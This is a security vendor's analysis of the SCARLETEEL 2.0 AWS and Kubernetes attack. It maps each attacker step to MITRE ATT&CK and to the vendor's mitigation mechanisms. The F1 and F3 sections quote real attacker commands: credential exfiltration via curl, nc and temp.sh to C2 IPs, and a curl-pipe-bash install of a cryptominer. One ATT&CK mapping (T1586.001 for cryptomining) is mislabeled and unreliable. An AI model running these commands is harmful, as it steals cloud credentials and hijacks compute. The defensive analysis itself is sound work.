SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto

In the SCARLETEEL 2.0 attack, the adversaries began by exploiting vulnerable compute services in AWS accounts to gain initial access. BlueRock's Cluster Drift Protection mechanism effectively mitigates this by preventing unauthorized changes to cluster configurations, ensuring that any attempts to exploit public-facing applications are detected and blocked. Once inside, the attackers escalated privileges by exploiting a misconfiguration in an AWS policy, allowing them to gain AdministratorAccess. BlueRock's Cloud IMDS Firewall (AWS) mechanism is crucial here, as it restricts access to the instance metadata service, preventing unauthorized retrieval of sensitive credentials that could be used for privilege escalation. The attackers then created new users and access keys to maintain persistence. BlueRock's Cluster Drift Protection again plays a role by monitoring and alerting on unauthorized account creations, ensuring that any suspicious activity is quickly identified and addressed. Throughout the attack, the adversaries used scripts to steal AWS credentials and exfiltrate them to a command and control server. BlueRock's Cloud IMDS Firewall (AWS) mechanism helps prevent such credential theft by blocking unauthorized access to metadata services, thereby safeguarding sensitive information from being exfiltrated.

• T1190: Exploit Public-Facing Application: The attack begins with the exploitation of vulnerable compute services in AWS accounts, allowing the attackers to gain initial access to the cloud environment. The article mentions 'compromise AWS accounts through exploiting vulnerable compute services.'
• T1068: Exploitation for Privilege Escalation: After gaining access, the attackers escalate their privileges by exploiting a misconfiguration in an AWS policy, allowing them to gain AdministratorAccess. The article states, 'the actor discovered and exploited a customer mistake in an AWS policy which allowed them to escalate privileges to AdministratorAccess.'
• T1078: Valid Accounts: The attackers gain persistence by creating new users and access keys, ensuring continued access even if initial access vectors are closed. The article mentions, 'Using the new admin privileges, the adversary created new users and a new set of access keys for all the users in the account, including admins.'
• T1552.001: Unsecured Credentials: Credentials In Files: The attackers use scripts to steal AWS credentials by querying the instance metadata service (IMDSv1 and IMDSv2) and searching the filesystem and Docker containers for credentials. The article describes, 'Those scripts search for AWS credentials in different places: by contacting the instance metadata (both IMDSv1 and IMDSv2), in the filesystem, and in the Docker containers created in the target machine (even if they are not running).' 
• T1041: Exfiltration Over C2 Channel: The attackers exfiltrate the stolen AWS credentials by sending them to a command and control (C2) server using various endpoints. The article details, 'the exfiltration function sends the Base64 encoded stolen credentials to the C2 IP Address.'
• T1059.004: Command and Scripting Interpreter: Unix Shell: The attackers use the AWS CLI and Pacu to further exploit the AWS environment and facilitate privilege escalation. The article mentions, 'They installed AWS CLI binary and Pacu on the exploited containers and configured them with the retrieved keys.'
• T1611: Escape to Host: The attackers leverage the tool peirates to further exploit Kubernetes environments. The article states, 'they also leveraged peirates, a tool to further exploit Kubernetes.'
• T1586.001: Compromise Accounts: Social Media Accounts: The attackers use the compromised AWS environment to run cryptominers, creating multiple EC2 instances to mine cryptocurrency. The article mentions, 'With the admin access, the attacker created 42 instances of c5.metal/r5a.4xlarge in the compromised account.'
• T1498: Network Denial of Service: The attackers utilize a botnet malware (Pandora) to perform DDoS attacks, indicating their involvement in DDoS-as-a-Service campaigns. The article notes, 'they also downloaded and executed Pandora, a malware belonging to the Mirai Botnet.'
• T1071.001: Application Layer Protocol: Web Protocols: The attackers use multiple command and control (C2) domains, including public services, to send and retrieve data, enhancing their defense evasion. The article mentions, 'Changes in C2 domains multiple times, including utilizing public services used to send and retrieve data.'

F1: Initial compromise via vulnerable services and AWS credential theft using IMDSv1 and script-based exfiltration.

• Attacker exploits vulnerable compute services, specifically JupyterLab notebook containers deployed in a Kubernetes cluster, to gain initial access. (Cited from: "After exploiting some JupyterLab notebook containers deployed in a Kubernetes cluster, the SCARLETEEL operation proceeded with multiple types of attacks.", "Their preferred method of entry is exploitation of open compute services and vulnerable applications.")
• Attacker deploys scripts (.a.i.sh) designed to steal AWS credentials. (Cited from: "The actor leveraged several versions of scripts that steal credentials...", "Analysis of the script .a.i.sh")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any new executable binaries or scripts (like .a.i.sh) that were not part of the original container image at load time. If the script was introduced post-deployment, BR-54 would block its execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the attacker places the credential stealing script in a directory not specified in the execution allowlist (e.g., /tmp), any attempt to execute it via exec() would be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the script's name or path (e.g., ending in .sh or matching a specific name) is added to the deny list, its execution via exec() would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the script is deployed and run on the host level (outside a container) and wasn't installed via a trusted package manager. It would block execution.
• The script searches for AWS credentials by querying the instance metadata service (IMDSv1). (Cited from: "Those scripts search for AWS credentials in different places: by contacting the instance metadata (both IMDSv1 and IMDSv2)...", "In the containers which were using IMDSv1, the attackers succeeded in stealing the AWS credentials.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because it specifically controls access to the AWS Instance Metadata Service (IMDS). It can enforce policies to block or restrict requests to IMDSv1, preventing the script from retrieving credentials via this method.
  • BR-87: Process Socket Deny - This mechanism is applicable because querying the IMDS endpoint requires network socket operations. If the script process (e.g., bash, curl, or a custom binary) is denied socket access by policy, it cannot reach the IMDS endpoint at 169.254.169.254.
• The script also searches for credentials within the filesystem and inside Docker containers on the target machine, even non-running ones. (Cited from: "in the filesystem, and in the Docker containers created in the target machine (even if they are not running)", "The getawsdata() function also searches for credentials in all Docker containers in the target machine (even if they are not running) and in the filesystem")
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable because if the credentials reside within critical data directories protected by this policy, and the credential stealing script (or tools it uses like find, cat, grep) is not on the allowlist of binaries permitted access, the read attempt would be blocked.
  • BR-91: Sensitive File Access - This mechanism is applicable because it monitors access to files designated as sensitive. If common credential file paths (e.g., ~/.aws/credentials, /root/.docker/config.json) or patterns are included in the policy, attempts by the script to open() these files can be blocked or alerted upon.
  • BR-75: Critical Directory Write Protection - This mechanism is less directly applicable to reading credentials but could be relevant if the attacker attempts to modify configuration files or write discovered credentials to a location within a protected critical directory.
• The script attempts to use IMDSv2 by first retrieving a session token, but fails due to the default hop limit of 1 in the container environment. (Cited from: "In some versions of the script, it tried to exploit IMDSv2 to retrieve the credentials... Specifically, the first call is used to retrieve the session token... However, this attempt failed because the target machine was a container inside an EC2 instance with the default hop limit set to 1.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because, even though the attack failed due to the hop limit, BR-59 provides policy control over IMDS access. It could be configured to enforce IMDSv2 usage (blocking v1) and potentially add further restrictions on token requests or usage (e.g., source IP, process), providing defense-in-depth regardless of the hop limit configuration.
  • BR-87: Process Socket Deny - This mechanism is applicable because retrieving the IMDSv2 token and using it requires network socket operations. If the script process is denied socket access, it cannot make requests to the IMDS endpoint.
• The script base64 encodes the stolen credentials. (Cited from: "sends the Base64 encoded stolen credentials to the C2 IP Address.", "SENDB64DATA=$(cat $CSOF | base64 -w 0)")
• The script exfiltrates the encoded credentials using shell built-ins (e.g., redirection with dload function or nc) and curl to specific C2 IP addresses (e.g., 45[.]9[.]148[.]221, 175[.]102[.]182[.]6) and public paste/upload services (termbin.com via 5[.]39[.]93[.]71:9999, temp.sh). (Cited from: "dload http://45.9.148.221/in/in.php?base64=$SENDB64DATA", "curl -sLk -o /dev/null http://175.102.182.6/.bin/in.php?base64=$SENDB64DATA", "SENDAWSDATANC=$(cat $CSOF | nc 5.39.93.71 9999)", "SENDAWSDATACURL=$(curl --upload-file $CSOF https://temp.sh)")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent specified processes (like bash, sh, nc, curl) from initiating outgoing network connections or using sockets. If the policy denies socket access for these processes, exfiltration via direct C2 connection or upload services will fail.
  • BR-90: Process Exec Deny - This mechanism is applicable because if nc or curl are explicitly added to the process execution deny list (based on name or path suffix), the script's attempt to execute them would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the nc or curl binaries used by the script reside in paths not included in the allowlist, their execution would be blocked.
  • BR-55: Reverse Shell Protection - This mechanism is potentially applicable if nc is used to establish an interactive reverse shell for manual data transfer, as it blocks shell FDs from binding to network sockets. However, the description implies automated exfiltration, making BR-87 more directly relevant.
• The script attempts to remove traces by deleting temporary files and clearing history. (Cited from: "Finally, the script removes the evidences of the attack, calling the notraces() bash function:", "rm -f $CSOF")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the attacker attempts to delete or modify files (like logs or temporary script files) located within directories designated as critical and write-protected by policy.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if the files to be deleted are within protected data directories and the script/tool used for deletion (rm, shred, etc.) is not on the list of allowed binaries.
  • BR-91: Sensitive File Access - This mechanism is applicable if specific log files or temporary file locations are designated as sensitive. Attempts to modify or delete them could be blocked or alerted.
  • BR-25: Read-Only File Protection - This mechanism is applicable if the attacker specifically tries to use a pipe-based technique (like Dirty Pipe) to modify or delete files that are otherwise marked read-only (e.g., certain system logs).

​

F2: Post-credential theft activity including AWS privilege escalation via policy misconfiguration and persistence establishment.

• Attacker obtains initial AWS credentials belonging to a node role via IMDSv1 compromise. (Cited from: "After collecting the AWS keys of the node role via instance metadata...", "In the containers which were using IMDSv1, the attackers succeeded in stealing the AWS credentials.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because it controls access to the IMDS, potentially blocking the initial credential theft via IMDSv1.
  • BR-87: Process Socket Deny - This mechanism is applicable because accessing IMDS requires network sockets; denying socket access to the process attempting the query blocks credential theft.
• Attacker installs AWS CLI and Pacu tools onto the compromised container. (Cited from: "Next, they installed AWS CLI binary and Pacu on the exploited containers...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of new binaries (AWS CLI, Pacu) if they were not part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of AWS CLI or Pacu if they are installed or executed from a filesystem path not included in the configured allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because if AWS CLI (aws) or Pacu are added to the deny list, their execution will be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if these tools are installed on the host outside of a container and not via a trusted package manager.
• Attacker configures the installed tools with the stolen credentials. (Cited from: "...and configured them with the retrieved keys.")
• Attacker uses Pacu for automated reconnaissance and discovery of privilege escalation paths within the victim's AWS account. (Cited from: "They used Pacu to facilitate the discovery and exploitation of privilege escalations in the victim’s AWS account.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the Pacu binary itself (as in step 2).
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of Pacu (as in step 2).
  • BR-90: Process Exec Deny - This mechanism applies to the execution of Pacu (as in step 2).
  • BR-87: Process Socket Deny - This mechanism is applicable because Pacu needs to make AWS API calls over the network. If the Pacu process (or the AWS CLI it likely uses) is denied socket access, the reconnaissance and exploitation attempts will fail.
• Attacker attempts to create access keys for all admin users, discovering a specific user (AdminJoe) that bypasses a restrictive IAM policy due to inconsistent naming (Admin vs admin). (Cited from: "they tried to create access keys for all admin users... One of the accounts was inadvertently named inconsistently... This resulted in the following policy being bypassed by the attackers... Therefore, they managed to gain access to the “AdminJoe” user by creating access keys for it.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the tool (e.g., AWS CLI) making the CreateAccessKey API call.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the tool making the API call.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the tool making the API call.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking the network connection needed for the API call, if the executing process is denied socket access.
• Attacker successfully creates access keys for the AdminJoe user, gaining AdministratorAccess privileges. (Cited from: "Therefore, they managed to gain access to the “AdminJoe” user by creating access keys for it.", "Once the attacker obtained the admin access...")
• Using the obtained admin privileges, the attacker creates new IAM users (e.g., aws_support) and generates new access keys for existing users, including admins, to establish persistence. (Cited from: "Using the new admin privileges, the adversary created new users and a new set of access keys for all the users in the account, including admins. One of the users created was called “aws_support”...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the tool (e.g., AWS CLI) making the IAM API calls.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the tool making the API calls.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the tool making the API calls.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking the network connections for the API calls.
  • BR-67: Container Root User Control - This mechanism is applicable if the attacker attempts persistence by running new processes as root inside a container (other than pid 0/init). This mechanism would detect and potentially block such processes.
• Attacker switches to the newly created user (aws_support) to conduct further reconnaissance. (Cited from: "One of the users created was called “aws_support” which they switched to in order to conduct reconnaissance.")

​

F3: Cryptojacking operation using escalated AWS privileges.

• Attacker gains AdministratorAccess privileges in the victim's AWS account (as detailed in F2). (Cited from: "Once the attacker obtained the admin access...", "With the admin access...")
• Attacker executes a script (setupc3poolminer.sh) designed to deploy cryptominers. (Cited from: "With the admin access, the attacker created 42 instances... by running the following script:", "Analysis of the script setupc3poolminer.sh")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies if the script is executed within a container and wasn't part of the original image.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if the script is executed on the host and wasn't installed via a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism applies if the script is executed from a non-allowed path.
  • BR-90: Process Exec Deny - This mechanism applies if the script name/path is denied.
• The script installs necessary dependencies like bash, curl, docker, wget, and openssh-server using package managers (yum, apt, apk). (Cited from: "yum install -y bash curl;yum install -y docker...", "apt update --fix-missing;apt install -y curl...", "apk update;apk add bash...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism could block the execution of package managers (yum, apt, apk) or docker if they are considered new/untrusted binaries within a container context.
  • BR-88: Process Path Exec Allow - This mechanism could block the execution of package managers or docker if they reside in or are run from disallowed paths (though standard paths like /usr/bin are usually allowed).
  • BR-90: Process Exec Deny - This mechanism could block execution if these package managers or docker are explicitly denied.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable if the docker command attempts to interact directly with the container runtime socket (e.g., containerd.sock) and the process lineage doesn't originate from the trusted kubelet service (in a K8s context). It prevents unauthorized container operations.
  • BR-57: Cluster Drift Protection - This mechanism is applicable if the use of docker commands leads to the deployment of new pods/containers outside the authorized Kubernetes control API flow. It prevents out-of-band container creation within the cluster.
• The script downloads and executes another script (setupc3poolminer.sh) from a C2 source (initially c3pool.org, later observed from ngrok-free[.]app) to set up the XMRig miner. (Cited from: "curl -Lk http://download.c3pool.org/xmrigsetup/raw/master/setupc3poolminer.sh | LCALL=enUS.UTF-8 bash -s ...", "Downloaded from: c9b9-2001-9e8-8aa-f500-ce88-25db-3ce0-e7da[.]ngrok-free[.]app/setupc3pool_miner.sh")
  • BR-80: Tainted File Download Protection - This mechanism is specifically designed to detect and block the pattern of downloading executable/interpretable code (via curl/wget) and piping it directly to an interpreter (bash).
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism detects and generates alerts for patterns like curl URL | sh, providing visibility into this fileless execution technique.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of curl and bash if they are untrusted binaries.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of curl and bash if run from disallowed paths.
  • BR-90: Process Exec Deny - This mechanism applies if curl or bash are explicitly denied.
  • BR-87: Process Socket Deny - This mechanism applies because curl needs network access to download the script. If curl is denied socket access, the download fails.
• The setup script removes previous miners, kills existing xmrig processes, and downloads an 'advanced version' of the XMRig miner. (Cited from: "it removes previous c3pool miner and kills possible xmrig processes, before downloading an “advanced version” of xmrig:")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of kill or other tools used for removal/process termination if they are untrusted.
  • BR-88: Process Path Exec Allow - This mechanism applies if tools like kill are run from disallowed paths.
  • BR-90: Process Exec Deny - This mechanism applies if tools like kill are explicitly denied.
  • BR-87: Process Socket Deny - This mechanism applies to the download step if the tool used (e.g., curl, wget) is denied network access.
• The miner binary is saved as containerd in /root/.configure/ as a defense evasion technique. (Cited from: "As shown above, the miner is extracted in /root/.configure/ . The name of the miner binary is containerd...")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /root/.configure (or /root) is designated as a critical, write-protected directory. The attempt to save the miner binary would be blocked.
• The script launches the Monero miner (containerd) configured with the attacker's wallet address (43Lfq...VaALj3U), running it in the background using systemd service names for evasion. (Cited from: "It runs the miner with the wallet address belonging to SCARLETEEL:", "The Monero miner is executed in background using the names for containered and the systemd service as a defense evasion technique:")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the miner binary (containerd), regardless of its name, if it's new/untrusted.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if the miner is run on the host and wasn't installed via a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism applies if the miner binary is executed from a path not on the allowlist (e.g., /root/.configure/containerd).
  • BR-90: Process Exec Deny - This mechanism applies if the miner's path or name (e.g., containerd in /root/.configure) is added to the deny list.
  • BR-87: Process Socket Deny - This mechanism is applicable because the cryptominer needs to connect to a mining pool server. If the miner process (containerd) is denied socket access, it cannot mine effectively.
• Using the admin access, the attacker launches a large number (42) of high-resource EC2 instances (c5.metal/r5a.4xlarge) running the mining script. (Cited from: "With the admin access, the attacker created 42 instances of c5.metal/r5a.4xlarge in the compromised account by running the following script:")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the tool/script making the AWS API calls to launch instances.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the tool/script making the API calls.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the tool/script making the API calls.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking the network connection for the API calls if the executing process is denied socket access.
• After initial detection and limitation of the compromised admin account, the attacker attempts to use other created/compromised accounts to steal secrets from AWS Secrets Manager or update SSH keys to continue launching instances, but fails due to lack of privileges. (Cited from: "Once the attacker was caught and access to the admin account was limited, they started to use the other new accounts created or the account compromised to achieve the same purposes by stealing secrets from Secret Manager or updating SSH keys to run new instances. The attacker failed to proceed due to lack of privileges.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of tools (e.g., AWS CLI) used to access Secrets Manager or manage SSH keys.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of these tools.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of these tools.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking network access for API calls.
  • BR-53: SSH Deep Auth & SSH Least Privilege - This mechanism is applicable to the attempt to update SSH keys. By enforcing ephemeral certificate-based auth and least privilege for SSH, it could prevent the attacker from using compromised credentials to modify SSH keys for unauthorized access or persistence.

​

F4: Kubernetes exploitation using peirates and tool deployment leveraging external S3-compatible storage.

• Attacker gains initial access to a container within a Kubernetes cluster (as in F1). (Cited from: "After exploiting some JupyterLab notebook containers deployed in a Kubernetes cluster...")
• Attacker deploys and uses peirates, a Kubernetes penetration testing tool, from within the compromised container. (Cited from: "In particular, they also leveraged peirates, a tool to further exploit Kubernetes.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of the peirates binary if it wasn't part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of peirates if run from a path not on the allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of peirates if its name or path is on the deny list.
• Attacker uses peirates to interact with the Kubernetes API, specifically calling get secrets, get pods, and get namespaces APIs to enumerate resources and potentially find further footholds or sensitive information. (Cited from: "The “get secrets”, “get pods” and “get namespaces” APIs called in the screenshot below are part of the execution of peirates.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of peirates itself.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of peirates.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of peirates.
  • BR-87: Process Socket Deny - This mechanism is applicable because peirates needs network access to communicate with the Kubernetes API server. Denying socket access to the peirates process blocks this interaction.
  • BR-57: Cluster Drift Protection - This mechanism is less direct for read operations like get secrets/pods/namespaces. Its primary focus is preventing unauthorized deployment of new pods outside the K8s API. However, detecting anomalous API interactions (even reads) could be part of a broader K8s security posture that complements BR-57.
• Attacker installs the AWS CLI on the compromised container. (Cited from: "Next, they installed AWS CLI binary...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies, blocking AWS CLI execution if it's a new binary.
  • BR-88: Process Path Exec Allow - This mechanism applies, blocking execution if run from a disallowed path.
  • BR-90: Process Exec Deny - This mechanism applies, blocking execution if AWS CLI is denied.
• Attacker configures the AWS CLI using the configure command, but points it towards a Russian S3-compatible object storage endpoint (hb[.]bizmrg[.]com, which redirects to mcs[.]mail[.]ru/storage) instead of the default AWS endpoints. (Cited from: "The attacker was observed using the AWS client to connect to Russian systems which are compatible with the S3 protocol. The command below shows that they configured the keys for the Russian S3 environment with the “configure” command... By using the “--endpoint-url” option, they did not send the API requests to the default AWS services endpoints, but instead to hb[.]bizmrg[.]com...")
• Attacker uses the configured AWS CLI to access buckets on the external S3-compatible storage, likely to download additional tools or exfiltrate data without logging to the victim's CloudTrail. (Cited from: "...and then attempted to access their buckets.", "This technique allows the attacker to use the AWS client to download their tools and exfiltrate data, which may not raise suspicion.", "These requests were not logged in the victim’s CloudTrail...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the AWS CLI.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the AWS CLI.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the AWS CLI.
  • BR-87: Process Socket Deny - This mechanism is applicable because the AWS CLI needs to make network connections to the external S3 endpoint. Denying socket access to the aws process would block this communication.

​

F5: Deployment of Mirai-based DDoS malware (Pandora).

• Attacker gains access to a compute resource (e.g., container) within the victim's environment. (Implied by subsequent actions, consistent with F1)
• Attacker uses the AWS CLI configured with an external endpoint (as in F4) or another download method. (Cited from: "In the same attack where the actor used the AWS CLI pointing to their cloud environment...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the download tool.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the download tool.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the download tool.
  • BR-87: Process Socket Deny - This mechanism applies by blocking network access for the download tool if denied.
• Attacker downloads the Pandora malware, identified as part of the Mirai Botnet. (Cited from: "...they also downloaded and executed Pandora, a malware belonging to the Mirai Botnet.")
• Attacker executes the downloaded Pandora malware on the compromised resource. (Cited from: "...they also downloaded and executed Pandora...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of the Pandora malware binary if it was not part of the original container image or host setup.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if Pandora is executed on the host and wasn't installed via a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of Pandora if it's run from a filesystem path not on the allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of Pandora if its name or path is on the deny list.
• The compromised machine becomes part of a botnet used for DDoS-as-a-Service campaigns. (Cited from: "This attack is likely part of a DDoS-as-a-Service campaign... the machine infected by the Pandora malware would become a node of the botnet used by the attacker to target the victim chosen by some client.")
  • BR-87: Process Socket Deny - This mechanism is applicable because the Pandora malware needs to communicate with its C2 server and potentially participate in DDoS attacks, both requiring network socket operations. Denying socket access to the Pandora process would prevent it from functioning as a botnet node.

​

F6: Adaptation for AWS Fargate credential theft.

• Attacker gains execution within a container hosted on AWS Fargate. (Cited from: "AWS Fargate, a more sophisticated environment to breach, has also become a target as their new attack tools allow them to operate within that environment.", "Scripts are aware of being in a Fargate-hosted container...")
• Attacker runs a credential stealing script (e.g., .a.i.sh or similar variant). (Cited from: "Scripts are aware of being in a Fargate-hosted container and can collect credentials.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies, blocking script execution if it's new to the Fargate task's container image.
  • BR-88: Process Path Exec Allow - This mechanism applies, blocking script execution if run from a disallowed path within the container.
  • BR-90: Process Exec Deny - This mechanism applies, blocking execution if the script name/path is denied.
• The script specifically attempts to query the Fargate task metadata endpoint at 169[.]254[.]170[.]2 to retrieve credentials. (Cited from: "Various metadata endpoints are used to accomplish this task, but It also looks for another IP Address: 169[.]254[.]170[.]2. This IP Address is used by tasks which include AWS Fargate allowing this script to run in containers hosted there as well.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is conceptually applicable. While technically targeting the EC2 IMDS (169.254.169.254), its purpose is to protect cloud metadata services. If extended or configured to cover the Fargate endpoint (169.254.170.2), it would directly apply by controlling access.
  • BR-87: Process Socket Deny - This mechanism is applicable because querying the Fargate metadata endpoint requires network socket operations. Denying socket access to the script process prevents it from reaching the endpoint.
• The script uses stealthy methods like shell built-ins (e.g., < /dev/tcp/...) to make the request to the metadata endpoint to evade detection based on common tools like curl or wget. (Cited from: "In order to retrieve those credentials the script uses this bash function, which utilizes shell built-ins, with the aim of evading detection mechanisms based on more common tools, such as curl and wget.")
  • BR-87: Process Socket Deny - This mechanism is applicable because even if shell built-ins are used, they still initiate socket operations at the system level. Denying socket access to the shell process itself would block these attempts.
• If successful, the script proceeds to exfiltrate the obtained Fargate task role credentials using methods described in F1 (e.g., base64 encoding, sending to C2 via nc/curl, uploading to paste sites). (Cited from: "After writing all the retrieved keys and credentials into random filenames, the script calls sendawsdata() to exfiltrate them:")
  • BR-87: Process Socket Deny - This mechanism applies by preventing the script or tools like nc/curl from making outbound network connections.
  • BR-90: Process Exec Deny - This mechanism applies if nc or curl execution is denied.
  • BR-88: Process Path Exec Allow - This mechanism applies if nc or curl are executed from disallowed paths.